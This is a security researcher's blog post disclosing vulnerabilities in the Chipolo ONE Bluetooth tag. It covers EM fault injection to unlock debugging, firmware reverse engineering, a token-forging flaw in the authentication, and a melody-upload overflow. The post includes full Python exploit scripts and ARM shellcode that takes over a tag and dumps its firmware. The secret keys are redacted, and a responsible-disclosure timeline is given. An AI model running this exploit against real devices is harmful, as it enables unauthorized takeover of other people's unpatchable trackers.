Balda's place

Tags

Chipolo ONE vulnerabilities

Published on 12 April 2025


The Chipolo ONE is a Bluetooth tag that can be used along with a mobile application to find lost keys or other things, pretty much like an AirTag. These devices were manufactured since 2019 and the website tells us that there are around 3 million devices sold.

Hardware analysis

After opening the plastic case, the PCB is easily accessible and we can have a look at the various components:

Chipolo ONE PCB

Dialog logic DA14580

The main chip powering the Chipolo ONE is a DA14580 from Dialog (which has been bought by Renesas). According to the datasheet this chip is a Cortex-M0 microcontroller with integrated bluetootl interface. One interesting feature of this microcontroller is that it doesn't have flash but One-Time-Programmable (OTP) memory.

The datasheet also tells us the pinout of the chip, which gives us information about the debug interface:

DA14580 pinout, from datasheet

Hardware preparation

The SWD interface is available on two test pads, which allowed to prepare the board with some wires:

Chipolo ONE PCB, with debug wires

Wire colors are associated to the following signals:

  • Red: VCC (3.3v)
  • Black: GND
  • Blue: SWDIO
  • Green: RST
  • Yellow: SWDCK

As it was expected, the SWD interface is not responding to any queries, which could mean that the SWD interface is locked. Looking at the datasheet again, there is a SWD locking mechanism in the bootloader. Now it's time for fault injection !

Fault attack on the bootloader

As for many other chips, fault injection is a good way to break into a locked microcontroller. For an added challenge, let's only use the devices we have. That means there is no way to program the target to ease the characterization phase. We have to rely on the few information we have at hand.

Boot process

Once again, the datasheet shows a lot of details about the boot process:

DA14580 boot process, from datasheet

See the "Enable/disable JTAG" on the left branch ? This is what we will try to fault in order to get access to the chip.

Now you can see that the first thing the microcontroller does is wait for 100ms, plus up to 64ms until the LDO is stable enough. This means a lot of jitter if only using the reset pin as the trigger for fault injection. Checking all the pins on the chip to use another pin as a better trigger did not show anything.

Power analysis

To get a better overview of the process, let's check the power consumption of the device during boot and map what is observed with the datasheet:

Oscilloscope capture of the power consumption during the boot process

The idea is to first perform the characterization phase (coil voltage, pulse width, ...) using the oscilloscope trace as a way to "see" whether the EM pulse produced an interesting result. But during characterization the SWD interface popped open, allowing for access to the DA14580 memory.

Firmware extraction

We also need to know where the firmware data is located. For that the datasheet once again tells us everything we need to know.

This chip behaves a bit differently than most ARM-based microcontrollers because it uses OTP memory. During the boot process, the firmware is copied from OTP (at address 0x00040000) to the system RAM (at address 0x20000000). Once everything is done, the system RAM is remapped to address 0x0 and the core is restarted, effectively starting the firmware like on other similar MCUs.

Dumping from address 0x0 onwards produces a 44KB file showing some encouraging data:

Hexdump of the memory dump

Firmware analysis

Now that we have the firmware, it' time fire up Ghidra and make sense of all that code.

Manual memory map

I usually start by using the SVD loader plugin to get all memory mappings and peripherals, but unfortunately I couldn't find a SVD file for the DA14580.

I relied upon parsing the datasheet using Python and the PDF parser module to extract the memory regions and create a script I could run in Ghidra:

from py_pdf_parser.loaders import load_file
import re

r = re.compile(r"(0x[0-9A-F]{8}) (\w+)")

doc = load_file('REN_da14580_fs_3v4_DST_20161109.pdf')

head_font = "AGBLLN+Arial-BoldMT,9.0"
data_font = "AGBLLP+ArialMT,9.0"

print("af = getAddressFactory()")

#
# Sections
#
for page in range(26, 28):
    HEAD = []
    DATA = []
    for e in doc.elements.filter_by_page(page):
        if e.font == head_font:
            # Of course, reserved is in the same font as the header
            if "RESERVED" in e.text():
                DATA.append(e.text())
            else:
                HEAD.append(e.text())
        elif e.font == data_font:
            DATA.append(e.text())

    for i in range(0, len(DATA), len(HEAD[1:])):
        # Reserved shows up before addresses in PDF (???) discarding
        if "RESERVED"in DATA[i]:
            continue
        start, stop = DATA[i].split('\n')
        length = int(stop, 0) - int(start, 0)+1
        name, _ = DATA[i+1].split('\n')
        print(f'createMemoryBlock("{name}", af.getAddress("{start}"), None, {length}, False)')


#
# Registers
#

# Headers start at page 80 to 86
for page in range(80, 87):
    HEAD = []
    DATA = []
    for e in doc.elements.filter_by_page(page):
        if e.font == head_font:
            HEAD.append(e.text())
        elif e.font == data_font:
            DATA.append(e.text())

    for i in range(0, len(DATA), len(HEAD[1:])):
        # Sometimes two cells are joined in the PDF (???)
        m = r.match(DATA[i])
        if m != None:
            DATA.insert(i+1, m.group(2))
            DATA.insert(i+1, m.group(1))
            DATA.pop(i)

        print(f'createLabel(af.getAddress("{DATA[i]}"), "{DATA[i+1]}", False)')
        print(f'setEOLComment(af.getAddress("{DATA[i]}"), "{DATA[i+2]}")')

Pasting the output in Ghidra's Python interpreter creates all memory regions and register peripherals. Restarting the analysis will show lots of xrefs on various peripheral registers, that's a good sign:

Registers loaded into Ghidra

ROM functions

The DA14580 has some part of its code in ROM, specifically some code associated to the BLE stack. In Ghidra, it looks like calls to code in the 0x00020000-0x00034FFF region. Fortunately for me, I could find a symdefs file on Github which contains the function names and their corresponding address.

I created a Ghidra script that can be used to import such files in the current project. This script allows to add function definitions at the corresponding addresses and better understand the rest of the firmware. Some of these functions include __aeabi_memcpy8, which could be interesting for later.

Authentication mechanism

NOTE: After disclosing the vulnerablity to CHIPOLO, they asked to not publish the following strings. I think this is fair enough and will keep them secret in this post.

While reversing the code, I stumbled upon two very strange strings:

undefined8 FUN_000063a4(void *input,void *output)
{
  byte buff [16];

  buff._0_4_ = input;
  buff._4_4_ = output;
  __aeabi_memcpy8(buff,input,6);
  __aeabi_memcpy8(buff + 6,"AAAAAAAAAA",10);
  FUN_00006258(buff,4,"AAAAAAAAAAAAAAAA");
  __aeabi_memcpy8(output,buff,0x10);
  return CONCAT44(buff._4_4_,buff._0_4_);
}

I traced the input value and could find that it is the Bluetooth address of the device. The FUN_00006258 function then does something like this (variables are renamed by me):

[...]
num_turns = __aeabi_idivmod(52,param_2);
num_turns = num_turns + 6;
summ = 0;
num = param_2 - 1;
tmp = param_1[num];
do {
  summ = summ + 0x9e3779b9;
  uVar = summ * 0x10000000 >> 30;
  for (i = 0; i < num; i = i + 1) {
    tmp2 = param_1[i + 1];
    tmp = ((tmp >> 5 ^ tmp2 << 2) + (tmp2 >>var 3 ^ tmp << 4) ^
          (summ ^ tmp2) + (param_3[i & 3 ^ u] ^ tmp)) + param_1[i];
    param_1[i] = tmp;
  }
  tmp2 = *param_1;
  tmp = ((tmp >> 5 ^ tmp2 << 2) + (tmp2 >> 3 ^ tmp << 4) ^
        (tmp2 ^ summ) + (param_3[i & 3 ^ uVar] ^ tmp)) + param_1[num];
  param_1[num] = tmp;
  num_turns = num_turns + -1;
} while (num_turns != 0);
[...]

As the code runs in a loop, changes the input based on a third parameter and uses constants, I thought it could be an encryption algorithm. Googling for 0x9e3779b9 pointed me to the TEA algorithm .

So this algorithm derives some sort of secret value based on the Bluetooth address and some secret (but fixed) salt and key using the TEA algorithm. Interesting.

Pulling that thread further, the output of this function is processed in a subsequent function:

[...]
if ((secret_checksum != 0) && (input_checksum != 0)) {
    local_1c._0_4_ = in_r2;
    __aeabi_memcpy8(local_1c,param_1->_random_value,4);
    crc = crc32(param_1->_secret_copy,0x10);
    crc_bytes[0] = crc;
    crc_bytes[1] = crc >> 8;
    crc_bytes[2] = crc >> 0x10;
    crc_bytes[3] = crc >> 0x18;
    local_1c[1] = local_1c[1] ^ crc_bytes[0] ^ crc_bytes[3];
    local_1c[0] = local_1c[0] ^ crc_bytes[0];
    local_1c[2] = local_1c[2] ^ crc_bytes[1] ^ param_1->_random_value[1];
    local_1c[3] = local_1c[3] ^ crc_bytes[1];
    local_1c[5] = crc_bytes[2] ^ param_1->_random_value[3];
    local_1c[4] = crc_bytes[3] ^ crc_bytes[2];
    secret_checksum = memcmp(local_1c,param_1->_user_input_authentication,6);
    if (secret_checksum == 0) {
      return true;
    }
  }
  return false;
}

The TEA secret is stored in param_1->_secret_copy. Its CRC32 (Yes, I "guessed" it was a CRC32 because I know how to google for constants) is mixed with a random value generated at boot time. This value is then compared to some data sent over BLE and returns true or false. Looks like some sort of authentication.

Further research allowed me to find that the random value can be read from the BLE characteristic FFE0, which is all I need to recreate the authentication.

To verify this, I used the btsnoop log of an Android phone with the Chipolo app to see the data exchanged between the phone and the device, and bingo:

Registers loaded into Ghidra

This is sent before triggering any device features. The firmware actually uses some kind of TLV encoding and the corresponding code for the authentication looks like this:

[...]
__aeabi_memcpy8(acStack_40,param + 6,*(param + 4));
FUN_0000659c(0,5,local_18,4);
cVar4 = _extract_tlvs(acStack_40,param[4],tags,lengths,values);
uStack_28 = cVar4;
pValues = values;
pbStack_1c = GLOBAL_STRUCT._user_input_authentication; // user input
pbStack_20 = GLOBAL_STRUCT.SECRET;              // Contains the secret value
pbStack_24 = GLOBAL_STRUCT._secret_copy;        // Copy of the secret
for (iTag = 0; iTag < uStack_28; iTag = iTag + 1 & 0xff) {
  if (tags[iTag] == 1) {
    __aeabi_memcpy8(pbStack_1c,pValues,6);
    FUN_0000541c_secret_setup(); // Builds the secret value using TEA
    __aeabi_memcpy8(pbStack_24,pbStack_20,0x10);
    bVar3 = authenticate(&GLOBAL_STRUCT);
    if (bVar3) {
      if (pValues[6] != 0) {
        FUN_00005102(GLOBAL_STRUCT.field13_0x2c);
      }
      uStack_a8 = pValues[7];
      if (uStack_a8 << 0x19 < 0) {
        FUN_000051f6(1500);
      }
      else {
        FUN_000051f6(200);
      }
[...]

I reimplemented the whole algorithm in Python using the bleak module and created a simple script to authenticate to the device and make it ring:

import struct
import numpy as np

import asyncio
from bleak import BleakClient, BleakGATTCharacteristic

# Device address to attack
address = "d8:01:00:03:8c:11"

# Redacted secrets
S1 = b'AAAAAAAAAA'
S2 = b'AAAAAAAAAAAAAAAA'

def mangle(crc, rand):

    token = bytearray(6)

    token[0] = rand[0] ^ crc[0]
    token[1] = rand[1] ^ crc[0] ^ crc[3]
    token[2] = rand[2] ^ crc[1] ^ rand[1]
    token[3] = rand[3] ^ crc[1]
    token[4] = crc[3] ^ crc[2]
    token[5] = crc[2] ^ rand[3]

    return token

def crc32(buf):

    result = np.uint32(0xffffffff)
    for b in buf:
        result = np.bitwise_xor(result, b)
        for i in range(7, -1, -1):
            c = result & 1
            result = np.right_shift(result, 1)
            if c:
                result = np.bitwise_xor(result, 0xedb88320)
    return int.to_bytes(int(np.bitwise_not(result)), 4, byteorder="little")


def tea(buf, key, num=4):

    turns = int(52/num) + 6
    num = num - 1

    CONST = np.uint32(0x9e3779b9)

    summ = np.uint32(0)

    k = np.array(struct.unpack('<IIII', key), dtype=np.uint32)
    v = np.array(struct.unpack('<IIII', buf), dtype=np.uint32)


    tmp = v[num]
    for _ in range(turns):
        summ = np.add(summ,CONST)
        toto = ((summ << 0x1c) & 0xffffffff) >> 30
        for i in range(num):
            tmp2 = v[i+1]
            tmp = np.add(
                    np.bitwise_xor(
                                    np.add(
                                        np.bitwise_xor(
                                                       np.right_shift(tmp, 5),
                                                       np.left_shift(tmp2, 2)
                                                       ),
                                        np.bitwise_xor(
                                                       np.right_shift(tmp2, 3),
                                                       np.left_shift(tmp, 4)
                                                      )
                                        ),
                                    np.add(
                                            np.bitwise_xor(
                                                            summ,
                                                            tmp2
                                                          ),
                                            np.bitwise_xor(
                                                            k[np.bitwise_xor(i&3, toto)],
                                                           tmp
                                                          )
                                            )
                                    ),
                    v[i]
                    )

            v[i] = tmp
        tmp2 = v[0]
        tmp = np.add(
                np.bitwise_xor(
                                np.add(
                                    np.bitwise_xor(
                                                   np.right_shift(tmp, 5),
                                                   np.left_shift(tmp2, 2)
                                                   ),
                                    np.bitwise_xor(
                                                   np.right_shift(tmp2, 3),
                                                   np.left_shift(tmp, 4)
                                                  )
                                    ),
                                np.add(
                                        np.bitwise_xor(
                                                        summ,
                                                        tmp2
                                                      ),
                                        np.bitwise_xor(
                                                        k[np.bitwise_xor(3&3, toto)],
                                                       tmp
                                                      )
                                        )
                                ),
                v[num]
                )

        v[num] = tmp;

    return struct.pack('<IIII', v[0], v[1], v[2], v[3])

baddress = bytes.fromhex(address.replace(':',''))

def callback(sender: BleakGATTCharacteristic, data: bytearray):
    print(f"{sender}: {data}")

async def main(address):
    client = BleakClient(address)
    try:
        await client.connect()
        await client.start_notify("FFF0", callback)
        await client.start_notify("FFE1", callback)

        #Read the random value
        rand = await client.read_gatt_char("FFE0")
        print(f"Random: {rand.hex()}")

        #Recreate and send the authentication token
        token = mangle(crc, rand)
        print(f"Token: {token.hex()}")
        await client.write_gatt_char("FFE0", b"\x01\x08" + token + b"\x01\x04")

        # Send the "ring" command. This has been taken from the btsnoop capture
        await client.write_gatt_char("FFE1", b"\x05\x01\x05")
    except Exception as e:
        print(e)
    finally:
        await client.disconnect()


tea_secret = tea(baddress+S1, S2)
crc = crc32(tea_secret)

asyncio.run(main(address))

XOR tricks

One interesting feature of this authentication process is that the XOR with a random value actually allows to recover the CRC secret and allows to create new authentication tokens if you know the random value and have sniffed one successful authentication token.

This simple python function allows to recover the CRC secret from a valid authentication token and the random value:

def extract_crc(token, rand):
    crc = bytearray(4)

    crc[0] = token[0] ^ rand[0]
    crc[1] = token[3] ^ rand[3]
    crc[2] = token[5] ^ rand[3]
    crc[3] = token[4] ^ crc[2]
    return crc

Fun fact, the random value is incremented by 1 after a successful authentication, so usually only two bytes of the next authentication token will change.

Hunting for vulnerabilities

Now that I can communicate and authenticate with the device, I wanted to see whether it was possible to find any other vulnerabilities in the firmware itself. I started with the obvious calls to __aeabi_memcpy8 around any data sent over Bluetooth in order to find low hanging fruits, but couldn't see anything interesting.

I then proceeded to analyze the various device features in order to find something interesting.

TLV parsing

The function that extracts the TLV data looks like this:

char _extract_tlvs(char *src,int src_length,char *tags,byte *lengths,char *values)

{
  byte bVar1;
  bool bVar2;
  char *src_end;
  uint uVar3;
  char cVar4;
  char cVar5;

  bVar2 = false;
  src_end = src + src_length;
  cVar5 = '\0';
  while ((src < src_end && (!bVar2))) {
    if (*src == '\0') {
      bVar2 = true;
    }
    else {
      *tags = *src;
      tags = tags + 1;
      cVar4 = cVar5 + '\x01';
      bVar1 = src[1];
      src = src + 2;
      *lengths = bVar1;
      lengths = lengths + 1;
      if (src_end < src + bVar1) {
        return cVar5;
      }
      for (uVar3 = 0; cVar5 = cVar4, uVar3 < bVar1; uVar3 = uVar3 + 1 & 0xff) {
        cVar5 = *src;
        src = src + 1;
        *values = cVar5;
        values = values + 1;
      }
    }
  }
  return cVar5;
}

At no time the number of tags is checked. It also turns out that the output buffers (tag, lengths and values) are in the caller's stack defined as:

[...]
byte values [24];
byte lengths [6];
byte tags [24];
[...]

I thought it was a quick win. Overflow one of these buffers up to the function return address and there we go ! Unfortunately, the size of the TLV is limited by the BLE MTU, which is fixed at 23 bytes. Some BLE stacks allow for a larger MTU, but not in this case. Back to the beginning.

Custom melody handler

Looking again at the app, there is a feature allowing to upload a custom melody that will be played instead of the default one. The procedure is straightforward and works like this:

  • App authenticates to the device using the token
  • App sends a packet containing the tag 0x1f, with three values:
    • Subcommand 0xaa to start uploading a new melody
    • Melody index. There are 8 total melody slots
    • Number of subsequent chunks of data
  • App then sends multiple packets with tag 0x1f, containing the following fields:
    • Subcommand 0xbb to tell it's a melody data packet
    • The actual melody data with bytes coming in pairs
  • App then sends two packets with tag 0x1f and subcommands 0xcc and 0xdd, containing what appears to be a checksum on the melody data. These last two packets can be skipped, as the melody is already stored in memory.

Let's start with the first packet. Its handler is defined in the firmware like this:

[...]
cVar4 = _extract_tlvs(acStack_40,param[4],tags,lengths,values);
[...]
if (bVar5 == 0x1f) {
bVar5 = *pValues;
/* Add new melody */
if (bVar5 == 0xaa) {
  uStack_b0 = pValues[1];
  uStack_ac = 0;
  update_melody_pointer(uStack_b0,pValues[2]);
  [...]

And the function that handles the initial parameter looks like this:

void update_melody_pointer(int param_1,byte param_2)
{
  USER_MELODY_LIST[param_1]->num_chunks = param_2;
  MELODY_UPDATE_DATA_PTR = 0;
  return;
}

The USER_MELODY_LIST is a global array of pointers to melody structures. This array contains eight elements, but nothing prevents us to update further array elements, which could be used to write an arbitrary byte somewhere depending on the pointers available after this array. This alone could be interesting, but I couldn't find any interesting pointers to use.

I then continued with the second part, the melody upload function. This part of the code pushed all byte pairs in a function I renamed as update_melody_data:

[...]
/* Update melody buffer */
if (bVar5 == 0xbb) {
  for (local_b4 = 0; local_b4 < lengths[iTag] - 1;
      local_b4 = local_b4 + 2 & 0xffff) {
    uStack_ac = uStack_ac + 1 & 0xffff;
    update_melody_data(uStack_b0,pValues[local_b4 + 1],pValues[local_b4 + 2]);
  }
}
[...]

void update_melody_data(int param_1,byte param_2,byte param_3)

{
  byte local_8 [2];

  local_8[1] = param_3;
  local_8[0] = param_2;
  USER_MELODY_LIST[param_1]->notes[MELODY_UPDATE_DATA_PTR] = local_8;
  MELODY_UPDATE_DATA_PTR = MELODY_UPDATE_DATA_PTR + 1;
  return;
}

As we can see, there is absolutely no bounds checking on the size of the melody buffer, and if we keep sending new data, it will be copied at the end of the buffer for as long as we want. This looks very promising, but the melodies are stored as global variables so it is not possible to overwrite any stack variables.

Let's observe the memory around the melodies. First, let's see where the various melodies are stored. Remember that the firmware is executed from RAM, and this means that the dump not only contains the firmware but all RAM values. This is how I can still get global values and pointers.

                  USER_MELODY_LIST
000075d4 00 00 00        melody_t
      00 4c 90
      00 00 ac
000075d4 00 00 00 00     melody_t *00000000                [0]
000075d8 4c 90 00 00     melody_t *melody_t_0000904c       [1]
000075dc ac 90 00 00     melody_t *melody_t_000090ac       [2]
000075e0 00 00 00 00     melody_t *00000000                [3]
000075e4 0c 91 00 00     melody_t *melody_t_0000910c       [4]
000075e8 8c 92 00 00     melody_t *melody_t_0000928c       [5]
000075ec 6c 91 00 00     melody_t *melody_t_0000916c       [6]
000075f0 cc 91 00 00     melody_t *melody_t_000091cc       [7]
000075f4 2c 92 00 00     melody_t *melody_t_0000922c       [8]

We can see that two melodies have a NULL pointer, allowing to overwrite the vector table. I did not go this way because the device reloads the whole firmware on reset, making this more complicated to exploit.

So all melodies are stored next to each other. Overwriting another melody is pointless, so let's see what is after the last melody in memory (USER_MELODY_LIST[5]). Scrolling the dump shows a long chunk of unused memory, until this:

[...]
000094e9 00              ??         00h
000094ea 00              ??         00h
000094eb 00              ??         00h
                     PTR_FUN_00005690+1_000094ec          XREF[2]:     FUN_00005094:00005096(R),
                                                                       setup_handler:00005194(W)
000094ec 91 56 00 00     addr       FUN_00005690+1

A function pointer right after the buffer ! Further reversing shows that the function is a callback executed after some commands sent over Bluetooth like the "ring device" functionnality. We have found our exploitable vulnerability.

Exploitation

Now the plan is simple:
  • Create a large NOPsled and our shellcode. Large enough to fill the memory up to the function pointer
  • Upload it to the device as a melody
  • Update one last chunk to overwrite the function pointer to an address somewhere in our "melody" NOPsled
  • Trigger the vulnerability by sending the "ring device" command

Since we have access to the memory dump, it is quite easy to calculate the size of the buffer, which is 602 bytes. To confirm the vulnerability, I created a simple PoC to overflow the function pointer with a random value, and the device instantanly crashed.

Next part is to prepare a nice shellcode. When starting the project, I imagined playing a custom melody on the device just for fun, but it turns out this feature already exists and is precisely the one we are exploiting now...

Anyways, why not use a shellcode that will dump the firmware and send it over Bluetooth ? I went back into reversing the firmware until I found a function that is used for sending BLE notifications at address 0x000065d9 that I renamed notif_buffer :

void notif_buffer(int app_id,int char_id,void *buffer,uint length)
This function takes four parameters:
  • An app_id parameter, used by the underlying operating system to know which BLE service should generate the notification
  • A char_id parameter to know which characteristic will send the notification
  • A pointer to the data to be sent
  • The size of the data

I then crafted this payload, which will dump 16 bytes starting from address 0x00000000 and update the data pointer after each callback.

_start:
        0:   46c0            nop                                     @ (mov r8, r8) NOPsled
        2:   46c0            nop                                     @ (mov r8, r8) NOPsled
        4:   46c0            nop                                     @ (mov r8, r8) NOPsled
        6:   b5f8            push    {r3, r4, r5, r6, r7, lr}        @ Save modified registers
        8:   a505            add     r5, pc, #20                     @ (adr r5, 20 <_start+0x20>) Load address of counter
        a:   4a05            ldr     r2, [pc, #20]                   @ (20 <_start+0x20>) Load value of counter in third argument (buffer)
        c:   2310            movs    r3, #16                         @ Load fourth argument (size = 16)
        e:   2102            movs    r1, #2                          @ Second argument (char_id = 2)
       10:   2000            movs    r0, #0                          @ First argument (app_id = 0)
       12:   4c04            ldr     r4, [pc, #16]                   @ Load address of notif_buffer()
       14:   47a0            blx     r4                              @ Call notif_buffer()
       16:   682a            ldr     r2, [r5, #0]                    @ Reload counter value
       18:   3210            adds    r2, #16                         @ Increment by 16
       1a:   602a            str     r2, [r5, #0]                    @ Store counter
       1c:   bdf8            pop     {r3, r4, r5, r6, r7, pc}        @ Restore callback
       1e:   0000            .short  0x0000
       20:   00000000        .word   0x00000000
       24:   000065d9        .word   0x000065d9

The full exploit script becomes :

import asyncio
import struct
from bleak import BleakClient, BleakGATTCharacteristic
import numpy as np

# SECRET VALUES
S1 = b'AAAAAAAAAA'
S2 = b'AAAAAAAAAAAAAAAA'

# Device address
address = "d8:01:00:03:8c:11"
baddress = bytes.fromhex(address.replace(':',''))

def mangle(crc, rand):

    token = bytearray(6)

    token[0] = rand[0] ^ crc[0]
    token[1] = rand[1] ^ crc[0] ^ crc[3]
    token[2] = rand[2] ^ crc[1] ^ rand[1]
    token[3] = rand[3] ^ crc[1]
    token[4] = crc[3] ^ crc[2]
    token[5] = crc[2] ^ rand[3]

    return token

def crc32(buf):

    result = np.uint32(0xffffffff)
    for b in buf:
        result = np.bitwise_xor(result, b)
        for i in range(7, -1, -1):
            c = result & 1
            result = np.right_shift(result, 1)
            if c:
                result = np.bitwise_xor(result, 0xedb88320)
    return int.to_bytes(int(np.bitwise_not(result)), 4, byteorder="little")

def tea(buf, key, num=4):

    turns = int(52/num) + 6
    num = num - 1

    CONST = np.uint32(0x9e3779b9)

    summ = np.uint32(0)

    k = np.array(struct.unpack('<IIII', key), dtype=np.uint32)
    v = np.array(struct.unpack('<IIII', buf), dtype=np.uint32)

    tmp = v[num]
    for _ in range(turns):
        summ = np.add(summ,CONST)
        toto = ((summ << 0x1c) & 0xffffffff) >> 30
        for i in range(num):
            tmp2 = v[i+1]
            tmp = np.add(
                    np.bitwise_xor(
                                    np.add(
                                        np.bitwise_xor(
                                                       np.right_shift(tmp, 5),
                                                       np.left_shift(tmp2, 2)
                                                       ),
                                        np.bitwise_xor(
                                                       np.right_shift(tmp2, 3),
                                                       np.left_shift(tmp, 4)
                                                      )
                                        ),
                                    np.add(
                                            np.bitwise_xor(
                                                            summ,
                                                            tmp2
                                                          ),
                                            np.bitwise_xor(
                                                            k[np.bitwise_xor(i&3, toto)],
                                                           tmp
                                                          )
                                            )
                                    ),
                    v[i]
                    )

            v[i] = tmp
        tmp2 = v[0]
        tmp = np.add(
                np.bitwise_xor(
                                np.add(
                                    np.bitwise_xor(
                                                   np.right_shift(tmp, 5),
                                                   np.left_shift(tmp2, 2)
                                                   ),
                                    np.bitwise_xor(
                                                   np.right_shift(tmp2, 3),
                                                   np.left_shift(tmp, 4)
                                                  )
                                    ),
                                np.add(
                                        np.bitwise_xor(
                                                        summ,
                                                        tmp2
                                                      ),
                                        np.bitwise_xor(
                                                        k[np.bitwise_xor(3&3, toto)],
                                                       tmp
                                                      )
                                        )
                                ),
                v[num]
                )

        v[num] = tmp;

    return struct.pack('<IIII', v[0], v[1], v[2], v[3])



def payload():
    #  0:       46c0            nop                     @ (mov r8, r8)
    #  2:       46c0            nop                     @ (mov r8, r8)
    #  4:       46c0            nop                     @ (mov r8, r8)
    #  6:       b5f8            push    {r3, r4, r5, r6, r7, lr}
    #  8:       a505            add     r5, pc, #20     @ (adr r5, 20 <_start+0x20>)
    #  a:       4a05            ldr     r2, [pc, #20]   @ (20 <_start+0x20>)
    #  c:       2310            movs    r3, #16
    #  e:       2102            movs    r1, #2
    # 10:       2000            movs    r0, #0
    # 12:       4c04            ldr     r4, [pc, #16]   @ (24 <_start+0x24>)
    # 14:       47a0            blx     r4
    # 16:       682a            ldr     r2, [r5, #0]
    # 18:       3210            adds    r2, #16
    # 1a:       602a            str     r2, [r5, #0]
    # 1c:       bdf8            pop     {r3, r4, r5, r6, r7, pc}
    # 1e:       0000            .short  0x0000
    # 20:       00000000        .word   0x00000000
    # 24:       000065d9        .word   0x000065d9
    L = 602
    shellcode = b'\xc0F\xc0F\xc0F\xf8\xb5\x05\xa5\x05J\x10#\x02!\x00 \x04L\xa0G*h\x102*`\xf8\xbd\x00\x00\x00\x00\x00\x00\xd9e\x00\x00'
    sz = len(shellcode)
    buf = b'\xc0\x46'*int((L-sz)/2) # mov r8, r8 (NOP)
    buf += shellcode
    assert (len(buf) == L)
    return buf

def callback(sender: BleakGATTCharacteristic, data: bytearray):
    if len(data) == 16:
        with open('dump_rom_ble.bin', 'ab+') as f:
            f.write(data)
    print(f"{sender}: {data.hex()}")

async def main(address, raddr):
    status = 0
    client = BleakClient(address)
    try:
        await client.connect()
        status = 1
        await client.start_notify("FFF0", callback)
        await client.start_notify("FFE1", callback)
        rand = await client.read_gatt_char("FFE0")
        print(f"Random: {rand.hex()}")
        token = auth.mangle(crc, rand)
        print(f"Token: {token.hex()}")
        await client.write_gatt_char("FFE0", b"\x01\x08" + token + b"\x01\x04")
        # Prepare overflow
        print("Sending payload")
        await client.write_gatt_char("FFE1", b"\x1f\x03\xaa\x05\x26")
        sc = payload()
        for i in range(37):
            await client.write_gatt_char("FFE1", b"\x1f\x11\xbb"+ sc[16*i:(16*i)+16])
        print("Overflowing pointer")
        await client.write_gatt_char("FFE1", b"\x1f\x0f\xbb"+ (sc[-10:]) + raddr)
        print("Trigger vuln")
        while 1:
            await client.write_gatt_char("FFE1", b"\x05\x01\x05")
        status = 2
    except Exception as e:
        print(e)
    finally:
        await client.disconnect()
        return status


tea_secret = auth.tea(baddress+auth.S1, auth.S2)
crc = auth.crc32(tea_secret)

for i in range(0x9301, 0x9401, 0x100):
    print("Trying", hex(i))
    addr = int.to_bytes(i, 4, byteorder="little")
    status = 0
    while status == 0:
        status = asyncio.run(main(address, addr))

Responsible disclosure

Chipolo was contacted on 15.09.2024 with basic information about the vulnerability since there was no disclosure policy. They replied on 20.09.2024, asking for details so we agreed on a meeting on 15.10.2024 where the full process was presented.

The meeting was very pleasant and we could discuss both the vulnerability details but also get more background information about their development process and some explanations about the missing security checks and issues found during the reverse engineering phase.

We also agreed that after the initial 90-days period it was OK for them to present the findings to security conferences. Their only request was to not publish the encryption keys, which is a reasonable request in my opinion.

Closing thoughts and thanks

This project was a lot of fun, and being able to perform a complete takeover of the device using a mix of hardware and software attacks was a very nice challenge. I find it funny to be able to "close the circle" and use the code exec vuln to get the firmware back in the end.

The fact that the chip uses OTP makes it virtually impossible to patch, meaning that these devices will stay vulnerable forever. However, it does not look possible to brick the device and a simple reboot will make it work again.

I'd like to thank my friend Azox who worked with me on the hardware side and also thank the Chipolo team for being so kind and open to discussion.